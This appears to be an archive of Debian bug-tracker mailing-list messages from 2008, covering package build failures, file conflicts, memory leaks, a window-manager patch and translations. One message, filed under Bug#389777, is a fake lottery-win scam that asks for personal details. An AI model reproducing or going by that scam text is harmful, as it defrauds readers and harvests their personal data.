LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash Versions of packages reportbug depends on: ii apt 0.7.11 Advanced front-end for dpkg ii python2.5.2-1An interactive high-level object-o ii python-central0.6.6 register and build utility for Pyt reportbug recommends no packages. -- no debconf information -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#482370: linux-patch-openvz: Won't apply on latest 2.6.24 linux-source Debian package
Package: linux-patch-openvz Version: 1:2.6.24-ovz004.1d1 Severity: important Trying to follow instructions from the README.Debian, I get : START applying openvz patch (OpenVZ - linux kernel patch for virtual server support) Testing whether OpenVZ - linux kernel patch for virtual server support patch for 2.6.24 applies (dry run): 1 out of 14 hunks FAILED -- saving rejects to file net/ipv6/netfilter/nf_conntrack_reasm.c.rej OpenVZ - linux kernel patch for virtual server support patch for 2.6.24 does not apply cleanly Patch /usr/src/kernel-patches/all/apply/openvz failed. Linux source is : linux-source-2.6.24 2.6.24-7 Hope this helps, -- System Information: Debian Release: lenny/sid APT prefers testing APT policy: (500, 'testing') Architecture: i386 (i686) Kernel: Linux 2.6.24-1-686 (SMP w/2 CPU cores) Locale: LANG=fr_FR.UTF-8, LC_CTYPE=fr_FR.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash Versions of packages linux-patch-openvz depends on: ii bash 3.1dfsg-9 The GNU Bourne Again SHell ii dctrl-tools [grep-dctrl] 2.12 Command-line tools to process Debi ii patch 2.5.9-5Apply a diff file to an original linux-patch-openvz recommends no packages. -- no debconf information -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#482328: RM: libghc6-hdbc-sqlite3-dev et. al. [hppa] -- ROM; Blocks ghc6 transition
retitle 482328 hdbc-sqlite3 [hppa] -- RoM: mystery build failure/ghc6 transition thanks Hi, - please use source packages in the title and - one bug per package, - there are more build failures in hpodder... I'll use this bug for hdbc-sqlite3 [hppa], please file another bug about hpodder. Kind regards T. -- Thomas Viehmann, http://thomas.viehmann.net/ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#481575: RFH: Bug #481575: courier: FTBFS
Le jeudi 22 mai 2008 à 07:15 +0200, Christian Perrier a écrit : From what I see, fixing that bug is probably fairly easy for anyone with a little more clue than me. So, may I request for clued people to have a look at this bug report and help me (and indirectly the package maintainer) to find a solution? The solution is indeed pretty easy, you need to add AM_MAINTAINER_MODE in configure.in and re-run aclocal, autoconf automake. -- .''`. : :' : We are debian.org. Lower your prices, surrender your code. `. `' We will add your hardware and software distinctiveness to `-our own. Resistance is futile. signature.asc Description: Ceci est une partie de message numériquement signée
Bug#482330: [alpine] Alpine can not be installed when Pine is already installed, suggest to add conflicts-tag
severity 482330 normal thanks On Wed, 21 May 2008, Martin Bagge wrote: Package: alpine Severity: grave --- Please enter the report below this line. --- I was tryin gto install alpine but dpkg choked when trying to overwrite a file that was owned by pine. Maybe alpine and pine should conflict? --screen log from aptitude-- [EMAIL PROTECTED]:~/Desktop$ sudo aptitude install alpine Reading package lists... Done Building dependency tree Reading state information... Done Reading extended state information Initializing package states... Done Reading task descriptions... Done The following NEW packages will be installed: alpine 0 packages upgraded, 1 newly installed, 0 to remove and 27 not upgraded. Need to get 2769kB of archives. After unpacking 6181kB will be used. Writing extended state information... Done Get:1 ftp://ftp.se.debian.org testing/main alpine 1.10+dfsg-3 [2769kB] Fetched 2769kB in 1s (2688kB/s) Selecting previously deselected package alpine. (Reading database ... 196696 files and directories currently installed.) Unpacking alpine (from .../alpine_1.10+dfsg-3_i386.deb) ... dpkg: error processing /var/cache/apt/archives/alpine_1.10+dfsg-3_i386.deb (--unpack): trying to overwrite `/usr/share/man/man1/rpload.1.gz', which is also in package pine For the record: the pine package in Debian/non-free (which I maintain) does not have such file. The conflict, if any, is probably between Debian alpine and the pine.deb distributed by UW. I don't think this deserves a grave severity (it would if both packages were distributed by Debian). In fact, I would not consider that as a bug at all. In either case, the alpine maintainer has the final word. Thanks. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#481575: RFH: Bug #481575: courier: FTBFS
Christian Perrier wrote: During the l10n NMU campaign, some work was done on courier, in the usual l10n NMU way: -send an intent to l10n NMU -wait for 10 days to get a reaction -send a call for l10n updates and new translations -wait for 8 days -build the NMU However, building the NMU fails and lead to /me reporting #481575. As of now, I got no news from Stefan, the package maintainer, about this package. So, the work is still pending in my spool... From what I see, fixing that bug is probably fairly easy for anyone with a little more clue than me. So, may I request for clued people to have a look at this bug report and help me (and indirectly the package maintainer) to find a solution? I have no specific interest in courier. I just want to move along...:) PS: the package has another RC bug as it apparently provides non free RFC documents. Many thanks in advance to people who will have a look at this. I'll take a look at it. Regards Racke -- LinuXia Systems = http://www.linuxia.de/ Expert Interchange Consulting and System Administration ICDEVGROUP = http://www.icdevgroup.org/ Interchange Development Team -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#481575: courier: FTBFS in pbuilder
On 2008-05-17 Christian Perrier [EMAIL PROTECTED] wrote: [...] When building your package in pbuilder (targeting an l10n upload that *really* should happen): make[3]: Leaving directory /tmp/buildd/courier-0.59.0/gpglib' make[2]: Leaving directory /tmp/buildd/courier-0.59.0/gpglib' Making all in pcp make[2]: Entering directory /tmp/buildd/courier-0.59.0/pcp' cd . /bin/sh /tmp/buildd/courier-0.59.0/missing --run aclocal-1.10 -I m4 aclocal-1.10: couldn't open directory m4': No such file or directory [...] FWIW I cannot reproduce this on i386, doing a straight rebuild with dpkg-buildpackage -uc -us -rfakeroot. I don't think pbuilder is doing anything special though. [EMAIL PROTECTED]:~$ grep -- '-I m4' \ /tmp/COURIER/buildlog.courier_0.59.0-1.1 || echo irreproducible irreproducible [EMAIL PROTECTED]:~$ cu andreas -- `What a good friend you are to him, Dr. Maturin. His other friends are so grateful to you.' `I sew his ears on from time to time, sure' -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#482371: check for unregistered repos
Package: mr Version: 0.29 Severity: wishlist Maybe mr could recursively scan a tree for indications of VCS repos (e.g. .git dirs) and check whether they're registered in .mrsetup, or let me know otherwise... -- System Information: Debian Release: lenny/sid APT prefers unstable APT policy: (500, 'unstable'), (500, 'testing'), (500, 'stable'), (1, 'experimental') Architecture: i386 (i686) Kernel: Linux 2.6.24-1+scoflowctrl.1-686 (SMP w/1 CPU core) Locale: LANG=en_GB, LC_CTYPE=en_GB.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash -- no debconf information -- .''`. martin f. krafft [EMAIL PROTECTED] : :' : proud Debian developer, author, administrator, and user `. `'` http://people.debian.org/~madduck - http://debiansystem.info `- Debian - when you have better things to do than fixing systems digital_signature_gpg.asc Description: Digital signature (see http://martin-krafft.net/gpg/)
Bug#482369: xserver-xorg-video-intel: X fails to start: machine hangs with black screen is unresponsive to pings
Paul Metcalfe wrote: Package: xserver-xorg-video-intel Version: 2:2.2.1-2 Severity: important Kernel : 2.6.24-1-amd64 (debian 2.6.24-7) When starting X, the screen goes black (as per the standard X startup), then the machine hangs and (at least on one trial) does not respond to pings. This is not deterministic; it is more likely to happen when X is started through gdm than when X is started through startx. I have observed something similar on reboots from Windows for a while, but assumed that Windows was just leaving the card in a dodgy state. Now I get hangs on clean boot from power-off. This puzzles me: I have been running 2:2.2.1-2 for a while, but the symptoms have got worse within the past week. Is this some freaky timing issue? Did you upgrade your kernel recently? Can you try an older kernel ? Brice -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#482297: [Pkg-xfce-devel] Bug#482297: xfdesktop4-data: xfce4 menu missing
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Yves-Alexis Perez ha scritto: Just install xfdesktop4 4.4.2-7? Sure, but there's no xfdesktop 4.4.2-7 in unstable at the moment. For now I solved downloading xfdesktop4-data 4.4.2-5 from lenny. sorry for messing. thank you -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFINTKksIwBxjsnbM0RAsD+AKCBWEQ+TOLK/z1OvWzL8kiNBjM7mgCfc53P jsr7wh5GwFQyNigIPaDUGco= =+qs5 -END PGP SIGNATURE- -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#482044: Please restart spamd on perl upgrades.
On Tue, May 20, 2008 at 10:10:02AM -0400, Noah Meyerhans wrote: On Tue, May 20, 2008 at 06:20:33AM -0700, Daniel Burrows wrote: A much larger amount of spam than usual got through my filters, I think because most of my spam checks couldn't run due to this error. After some confusion, I figured out that I had upgraded perl under a running spamd, from 5.8 to 5.10. Apparently spamd needs to dynamically load perl modules, and removing the 5.8 versions breaks it. It would be great if spamd could be restarted when perl is upgraded. I suspect this is not exactly trivial, which is why I'm filing at wishlist severity. Would it be possible to keep the 5.8 module tree around, for running processes to dynload? It's very common for long-running perl processes to need to load a new module at runtime, long after the process was started; SpamAssassin won't be the only one. There are a few different things that need to happen to spamassassin when perl is upgraded. Compiled rules need to be blown away and rebuilt, for example. Regarding this -- bug #479865 -- that's a separate issue, and simply a bug in SpamAssassin. There's no need to hack the perl package to deal with it. It will be fixed upstream (once I can get the votes on https://issues.apache.org/SpamAssassin/show_bug.cgi?id=5899 and a 3.2.5 release put out... ;) --j. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#481765: marked as done (exim4-base: con.monthly recreate gnutls-params without read access)
On 2008-05-22 Marc Haber wrote: On Sun, May 18, 2008 at 02:30:42PM +0200, Jean-Luc Coulon (f5ibh) wrote: /etc/cron.monthly/exim4-base refreshes GnuTLS via /usr/share/exim4/exim4_refresh_gnutls-params /etc/cron.monthly/exim4-base was introduced in 4.69-3 and removed in 4.69-4, one day later. Please remove the file manually. Hello Marc, I think there really is bug here, /var/spool/exim4/gnutls-params should not generate its output with root:root 600 but either root:Debian-exim 640 (if it contains sensible data) or 644 root:root if not. Iirc it only contains DSA paramters, so 644 should be correct. cu andreas -- `What a good friend you are to him, Dr. Maturin. His other friends are so grateful to you.' `I sew his ears on from time to time, sure' -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#463823: setting package to boinc-dbg boinc-manager boinc-client boinc-dev boinc, tagging 463823
# Automatically generated email from bts, devscripts version 2.10.28 # # boinc (6.2.4-1) UNRELEASED; urgency=low # # * New upstream release. #- BOINC Manager: Redraw disk usage charts immediately after connecting to # a (different) client. (closes: 463823) # package boinc-dbg boinc-manager boinc-client boinc-dev boinc tags 463823 + pending -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#480764: severity of 480764 is serious
# Automatically generated email from bts, devscripts version 2.10.25~bpo40+1 # makes other packages ftbfs, e.g. 482263 severity 480764 serious -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#482373: syntax/zsh.vim: Everything after '' is highlighted as string
Package: vim-runtime Version: 1:7.1.293-3 Severity: minor When redirecting a programs STDIN using '', as in 'grep foo $SOMETHING', everything from $SOMETHING to the end of the file will be highlighted as string -- System Information: Debian Release: lenny/sid APT prefers unstable APT policy: (500, 'unstable') Architecture: i386 (i686) Kernel: Linux 2.6.25-1-686 (SMP w/2 CPU cores) Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash vim-runtime depends on no packages. Versions of packages vim-runtime recommends: ii vim 1:7.1.293-3 Vi IMproved - enhanced vi editor ii vim-gtk [vim]1:7.1.293-3 Vi IMproved - enhanced vi editor - ii vim-tiny 1:7.1.293-3 Vi IMproved - enhanced vi editor - -- no debconf information -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#153915: sasl2-bin: saslauthd leaks memory using PAM
On Sat, May 17, 2008 at 8:53 PM, Martín Ferrari [EMAIL PROTECTED] wrote: Incredibly, this machine is still running woody (is the last one), so the problem is still present and I had set a cronjob for restarting the daemon each day. So I'll disable the cronjob and try this, I'll report in a few days. But I wonder if this has any relevance nowadays, since I'm still using the woody version of the package! Four and a half days later, I can confirm that the problem wasn't solved with the s/compat/files/ workaround: USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 25196 0.0 0.5 77940 1104 ?SMay17 0:22 /usr/sbin/saslauthd -a pam saslauthd is already 77+Mb in size. If you want, I can try reverting the nsswitch change to test how much it grows without it. Cheers, Tincho. -- Martín Ferrari -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#482351: ess: ess-eldoc is not compiled so cannot be require'd normally
Not all lisp files in /usr/share/emacs/site-lisp/ess/ have their compiled counterparts in /usr/share/emacs-snapshot/site-lisp/ess/, which is symlinked from /usr/share/emacs/23.0.60/site-lisp. One of these is ess-eldoc, so the only way to `require' it is, say, as: (add-hook 'inferior-ess-mode-hook (lambda () (require 'ess-eldoc /usr/share/emacs/site-lisp/ess/ess-eldoc.el))) Thanks for this Sebastian. I think when I added ess-eldoc.el, I didn't add it to the Makefile so that it would be compiled. I've changed the lisp/Makefile to correct this in ESS SVN. (Dirk, how do we close off the bug report?) Stephen -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#482378: latex2rtf_1.9.19-3(arm/unstable): FTBFS: todos: Command not found
Package: latex2rtf Version: 1.9.19-3 Severity: serious There was an error while trying to autobuild your package: | On Wed, May 21, 2008 at 10:24:22PM -0400, [EMAIL PROTECTED] wrote: | Automatic build of latex2rtf_1.9.19-3 on europa by sbuild/arm 98 | Build started at 20080521-2221 [...] | Build-Depends: debhelper ( 4) | Build-Depends-Indep: texinfo, tetex-bin | texlive-base, jadetex, tofrodos [...] | /usr/bin/fakeroot debian/rules clean | dh_testdir | dh_testroot | rm -f build-stamp build-indep-stamp | # Add here commands to clean up after the build process. | [ ! -f Makefile ] || /usr/bin/make clean | make[1]: Entering directory `/build/buildd/latex2rtf-1.9.19' | rm -f fonts.o direct.o encodings.o commands.o stack.o funct1.o tables.o chars.o ignore.o cfg.o main.o utils.o parser.o lengths.o counters.o preamble.o letterformat.o equations.o convert.o xrefs.o definitions.o graphics.o mygetopt.o styles.o preparse.o vertical.o core latex2rtf | rm -rf tmp | make[1]: Leaving directory `/build/buildd/latex2rtf-1.9.19' | rm -f doc/latex2rtf.html doc/latex2rtf.txt doc/latex2rtf.info doc/latex2rtf.pdf *.o latex2rtf | todos doc/latex2rtf.texi | make: todos: Command not found | make: *** [clean] Error 127 | dpkg-buildpackage: failure: /usr/bin/fakeroot debian/rules clean gave error exit status 2 A full build log can be found at: http://buildd.debian.org/fetch.cgi?pkg=latex2rtfarch=armver=1.9.19-3stamp=1211423066file=logas=raw -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#153915: sasl2-bin: saslauthd leaks memory using PAM
On May 22, 2008, at 12:12 , Martín Ferrari wrote: Four and a half days later, I can confirm that the problem wasn't solved with the s/compat/files/ workaround: USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 25196 0.0 0.5 77940 1104 ?SMay17 0:22 /usr/sbin/saslauthd -a pam saslauthd is already 77+Mb in size. If you want, I can try reverting the nsswitch change to test how much it grows without it. If you would, please. At least it would show us if it has any effect at all. Thanks, -- Fabian Fagerholm [EMAIL PROTECTED] -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#449148: More regular root hints updates
Since there appears to be some confusion regarding the impact of old IP address entries for root servers, this blog entry by David Conrad may be of interest, perhaps especially the comment by Bill Manning and David's response: http://blog.icann.org/?p=309 Regarding the security considerations, I think it's strange that e.g. IP address redelegation hasn't been mentioned. If this issue isn't resolved as an update to the current stable distribution, people will be refering to the old IP address for years to come, and who knows what happens to old nameserver IP addresses in that time frame? Should this _really_ rely on the goodwill of the people who at any moment in time manages the IP address? -- Jan
Bug#477628: reopen this bug?
Frank Lichtenheld schrieb: On Wed, May 21, 2008 at 04:19:14PM +0200, Sven Mueller wrote: Furthermore, if I lower the number in debian/compat and the versioned dependency on debhelper in debian/control of the mr package, but keep using dh, I think at least a warning should be issued. What has compat to do with that? Hmm, actually, you are right here. lintian should already warn if you reduce the dependency. For me, it didn't. See my bug report from a few minutes ago. Regards, Sven signature.asc Description: OpenPGP digital signature
Bug#480902: teeworlds crashes (no idea why)
Strange, I've never personally experienced this, and unfortunately I don't have that much of an insight into how Teeworlds' engine works, I just package it. I'll forward this on to the upstream developer of Teeworlds to get his take. On Wed, 2008-05-21 at 19:37 +0200, Thibaut GIRKA wrote: In fact, the one with the legacy driver doesn't run compiz, too... So, I have two computers at home, under debian testing: - one with legacy drivers, without compiz - one with current nvidia drivers, without compiz Teeworlds sometimes get an X error on the both computers. My neighbour has debian testing too and teeworlds sometimes crash too... But I don't know if compiz is enabled when he's playing. Le jeudi 15 mai 2008 à 14:52 +1000, Jack Coulter a écrit : Sorry for the late reply, but could you confirm if this problem still occurs on the two computers that normally run compiz but with compiz disabled? On Wed, 2008-05-14 at 13:24 +0200, Thibaut GIRKA wrote: On two of the computers (one with the legacy driver, and one with the recent driver), yes. The third (mine) doesn't run any compositing manager. Le mercredi 14 mai 2008 à 21:01 +1000, Jack Coulter a écrit : By any chance is compiz or any other compositing manager running when this happens? On Wed, 2008-05-14 at 12:59 +0200, Thibaut GIRKA wrote: Le mercredi 14 mai 2008 à 20:34 +1000, Jack Coulter a écrit : I've brought this issue up with the upstream developer, he's aware of this issue however has never experienced it first hand. I've never experienced this either so am not sure what could be done. If possible could you provide a backtrace of teeworlds when it crashes? Hm... I can try... but the thing is that teeworlds doesn't really crash... The window is closed abnormally, but the process is still running... It happens on three computers (I didn't try with another one). All of them are on debian testing (with some bits of unstable), and all of them are running nvidia's closed-source driver (but one of them runs a legacy version). signature.asc Description: This is a digitally signed message part
Bug#482374: [rhythmbox] option to copy import errors
Package: rhythmbox Version: 0.11.5-2 Severity: wishlist --- Please enter the report below this line. --- Please make it possible to copy the text (location and error) from the import errors. Thank you for your fine work!Matthias Krüger --- System information. --- Architecture: amd64 Kernel: Linux 2.6.24-1-amd64 Debian Release: lenny/sid 500 testing security.debian.org 500 testing 141.76.2.4 --- Package information. --- Depends (Version) | Installed ==-+-=== gconf2 (= 2.10.1-2) | 2.22.0-1 libart-2.0-2 (= 2.3.18) | 2.3.20-2 libatk1.0-0(= 1.20.0) | 1.22.0-1 libavahi-client3 (= 0.6.13) | 0.6.22-3 libavahi-common3 (= 0.6.10) | 0.6.22-3 libavahi-glib1 (= 0.6.12) | 0.6.22-3 libbonobo2-0 (= 2.15.0) | 2.22.0-1 libbonoboui2-0 (= 2.15.1) | 2.22.0-1 libc6 (= 2.7-1) | 2.7-10 libcairo2 (= 1.4.0) | 1.6.4-1+b1 libdbus-1-3 (= 1.0.2) | 1.2.1-2 libdbus-glib-1-2 (= 0.74) | 0.74-2 libexpat1 (= 1.95.8) | 1.95.8-4 libfontconfig1 (= 2.4.0) | 2.5.0-2 libfreetype6(= 2.3.5) | 2.3.5-1+b1 libgconf2-4(= 2.13.5) | 2.22.0-1 libglade2-0 (= 1:2.6.1) | 1:2.6.2-1 libglib2.0-0 (= 2.16.0) | 2.16.3-2 libgnome-keyring0 (= 2.22.0) | 2.22.1-1 libgnome-media0| 2.22.0-1 libgnome2-0(= 2.17.3) | 2.20.1.1-1 libgnomecanvas2-0 (= 2.11.1) | 2.20.1.1-1 libgnomeui-0 (= 2.17.1) | 2.20.1.1-1 libgnomevfs2-0 (= 1:2.17.90) | 1:2.22.0-2 libgpod3 | 0.6.0-5 libgstreamer-plugins-base0.10-0 (= 0.10.12) | 0.10.19-1 libgstreamer0.10-0(= 0.10.14) | 0.10.19-3 libgtk2.0-0(= 2.12.0) | 2.12.9-3 libhal1 (= 0.5.8.1) | 0.5.11~rc2-1 libice6 (= 1:1.0.0) | 2:1.0.4-1 liblircclient0 | 0.8.2-2 libmtp7| 0.2.6.1-2 libmusicbrainz4c2a (= 2.1.5) | 2.1.5-2 libnautilus-burn4 | 2.20.0-1 libnotify1 (= 0.4.4) | 0.4.4-3 libnotify1-gtk2.10 | libnspr4-0d (= 1.8.0.10) | 4.7.0-2 liborbit2 (= 1:2.14.10) | 1:2.14.12-0.1 libpango1.0-0 (= 1.20.2) | 1.20.2-2 libpng12-0 (= 1.2.13-4) | 1.2.27-1 libpopt0 (= 1.10) | 1.10-3 libsexy2(= 0.1.8) | 0.1.11-2 libsm6 | 2:1.0.3-1+b1 libsoup2.4-1(= 2.4.1) | 2.4.1-1 libtotem-plparser10 (= 2.21.92) | 2.22.2-1 libusb-0.1-4 (= 2:0.1.12) | 2:0.1.12-9 libx11-6 | 2:1.0.3-7 libxcursor1 ( 1.1.2) | 1:1.1.9-1 libxext6 | 2:1.0.4-1 libxfixes3(= 1:4.0.1) | 1:4.0.3-2 libxi6 | 2:1.1.3-1 libxinerama1 | 2:1.0.3-1 libxml2(= 2.6.27) | 2.6.32.dfsg-2 libxrandr2(= 2:1.2.0) | 2:1.2.2-1 libxrender1| 1:0.9.4-1 python2.4 (= 2.3.90) | 2.4.5-2 zlib1g(= 1:1.1.4) | 1:1.2.3.3.dfsg-12 python | 2.5.2-1 python-support (= 0.7.1) | 0.7.7 dbus | 1.2.1-2 gstreamer0.10-gnomevfs | 0.10.19-1 gstreamer0.10-plugins-base | 0.10.19-1 gstreamer0.10-plugins-good | 0.10.8-2 gstreamer0.10-alsa | 0.10.19-1 OR gstreamer0.10-audiosink| python-gnome2(= 2.18) | 2.22.0-1 python-gtk2 (= 2.10) | 2.12.1-1 gnome-icon-theme | 2.22.0-1 gstreamer0.10-x| 0.10.19-1 -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#389777: Ref: UK/9420X2/68
British National Lottery, 28 Tan Field Road, Croydon,London. Ref: UK/9420X2/68 Batch: 074/05/ZY369 Dear Selected winner, We are pleased to inform you of the final announcement today, 22th of may , 2008 of winners of the UK NATIONAL LOTTERY ONLINE PROMOPROGRAMME,held on the 29th of December, 2007.You have therefore been approved for a lump sum payout of £852,000 (Eight Hundred and Fifty Two Thousand Pound Sterling) in cash redited to file XYL/26510460037/04.To file for your claim, please contact our claims agent Barr Larry Brain. Email:[EMAIL PROTECTED] For more information do call : +44 70359 08548 Provide him with the information below: 1.Full Name: 2.Full Address: 3.Marital Status: 4.Occupation: 5.Age: 6.Sex: 7.Nationality 8.Country Of Residence: 9.Telephone Number: Thank you for being part of our online promotional lottery program. Yours Truly, Sir Steven Smith. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#481046: muine: could not open audio device for playback
severity 481046 normal
thanks
aha, I think I've figured this out.
I have a .asoundrc which specifies some LADSPA stuff
including a non-existent plugin (attached)
aplay also complains and fails to play anything:
11:05:09$ aplay out.wav
ALSA lib pcm_ladspa.c:1502:(snd_pcm_ladspa_add_plugin) Unable to find or
load plugin 'tap_bs2b' ID 0, path '/usr/lib/ladspa'
aplay: main:564: audio open error: No such file or directory
however totem-xine, totem-gstreamer, the flash plugin,
amarok, rhythmbox and audacity all work ok.
I'm not sure why they do and muine/aplay do not (as appose
to just warning) - I think this bug should be re-purposed
as fail more gracefully or more informatively, and it
might belong against alsa rather than muine (I'm not sure).
Thanks for your help: I hope you don't mind me parking the
bug here until I investigate further!
--
Jon Dowland
pcm.ladspa {
type ladspa
slave.pcm plughw:0,0;
path /usr/lib/ladspa;
plugins [
{
label tap_bs2b
input {
controls [ 3 1 ]
}
}
]
}
pcm.!default {
type plug
slave.pcm ladspa
}
Bug#481457: pygtk apps won't start also
On Tue, May 20, 2008, Guillaume Libersat wrote: I confirm what Dmitry Kurochkin says, I've got the same problem here, but only on Amd64 architecture. Works fine on my ia32 computer. That's highly interesting, thanks for the comment. -- Loïc Minier -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#482380: /usr/sbin/dpkg-statoverride: --add needs four arguments
Package: freeradius Version: 2.0.4+dfsg-2 Severity: grave Justification: renders package unusable [...] Setting up freeradius-common (2.0.4+dfsg-2) ... Adding user freerad to group shadow Setting up freeradius (2.0.4+dfsg-2) ... /usr/sbin/dpkg-statoverride: --add needs four arguments Usage: dpkg-statoverride [option ...] command Commands: --add owner group mode file add a new entry into the database. --remove file remove file from the database. --list [glob-pattern] list current overrides in the database. Options: --admindir directory set the directory with the statoverride file. --update immediately update file permissions. --force force an action even if a sanity check fails. --quiet quiet operation, minimal output. --help show this help message. --versionshow the version. dpkg: error processing freeradius (--configure): subprocess post-installation script returned error exit status 2 [...] regards, -mika- -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#414974: ion3: alternate xkb group issue
Last night I decided to debug this issue, and it turns out, that X sets some additional bits in the state of the XKeyEvent, when an alternate xkb group is used. (I did not really search for documentation about this thing, so it might be, that this is a well known thing.) Ion doesn't expect this, so it waits for the release of this additional modifier. I was able to somehow fix this, with the appended patch. But I don't know anything about X programming, so this is probably not the best way of fixing this issue. Andreas --- ioncore/binding.c 2008-04-11 17:03:30.0 +0200 +++ ioncore/binding.c 2008-05-22 10:30:25.0 +0200 @@ -54,7 +54,10 @@ XK_Num_Lock, XK_Scroll_Lock }; -static uint evilignoremask=LockMask; +#define Group2Mask (113) +#define Group3Mask (114) + +static uint evilignoremask=LockMask | Group2Mask | Group3Mask; static void lookup_evil_locks();
Bug#482383: why bash_completion commented in default /etc/bash.bashrc? why not make it enabled by default?
Package: bash Version: 3.2-4 Severity: wishlist Why is this commented in default /etc/bash.bashrc ? # enable bash completion in interactive shells #if [ -f /etc/bash_completion ]; then #. /etc/bash_completion #fi Its important to have useful and not harmful to anyone features enabled in default config, so people don't waste time enabling them each time they install a system, and and a lot of people who probably don't know about the possibility will get to use this wonderful feature. -- System Information: Debian Release: lenny/sid APT prefers unstable APT policy: (500, 'unstable'), (500, 'testing'), (500, 'stable'), (1, 'experimental') Architecture: i386 (i686) Kernel: Linux 2.6.25-2-686 (SMP w/1 CPU core) Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash Versions of packages bash depends on: ii base-files4.0.4 Debian base system miscellaneous f ii debianutils 2.28.6 Miscellaneous utilities specific t ii libc6 2.7-11 GNU C Library: Shared libraries ii libncurses5 5.6+20080503-1 Shared libraries for terminal hand Versions of packages bash recommends: ii bash-completion 20060301-4 programmable completion for the ba -- no debconf information -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#482376: [INTL:eu] krb5 debconf templates Basque translation
Package: krb5 Severity: wishlist Tags: l10n patch Hi Attached krb5 debian configuration templates Basque translation, please commit it. thx -- System Information: Debian Release: lenny/sid APT prefers unstable APT policy: (500, 'unstable'), (500, 'testing'), (500, 'stable') Architecture: i386 (i686) Kernel: Linux 2.6.25-2-686 (SMP w/1 CPU core) Locale: LANG=eu_ES.UTF-8, LC_CTYPE=eu_ES.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash # translation of krb5-eu.po to Euskara # Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER # This file is distributed under the same license as the PACKAGE package. # # Piarres Beobide [EMAIL PROTECTED], 2007, 2008. msgid msgstr Project-Id-Version: krb5-eu\n Report-Msgid-Bugs-To: [EMAIL PROTECTED] POT-Creation-Date: 2008-05-21 11:38-0700\n PO-Revision-Date: 2008-05-22 11:23+0200\n Last-Translator: Piarres Beobide [EMAIL PROTECTED]\n Language-Team: Euskara [EMAIL PROTECTED]\n MIME-Version: 1.0\n Content-Type: text/plain; charset=UTF-8\n Content-Transfer-Encoding: 8bit\n X-Generator: KBabel 1.11.4\n #. Type: note #. Description #: ../krb5-admin-server.templates:2001 msgid Setting up a Kerberos Realm msgstr Kerberos eremu bat ezartzen #. Type: note #. Description #: ../krb5-admin-server.templates:2001 msgid This package contains the administrative tools required to run the Kerberos master server. msgstr Pakete honek Kerberos zerbitzari nagusia abiarazteko lanabes administratiboak ditu. #. Type: note #. Description #: ../krb5-admin-server.templates:2001 msgid However, installing this package does not automatically set up a Kerberos realm. This can be done later by running the \krb5_newrealm\ command. msgstr Hala ere, pakete hau instalatzeak ez du Kerberos eremu bat automatikoki konfiguratzen. Hori beranduago egin daiteke \krb5_newrealm\ komandoa erabiliaz. #. Type: note #. Description #: ../krb5-admin-server.templates:2001 msgid Please also read the /usr/share/doc/krb5-kdc/README.KDC file and the administration guide found in the krb5-doc package. msgstr Mesedez irakurri ere 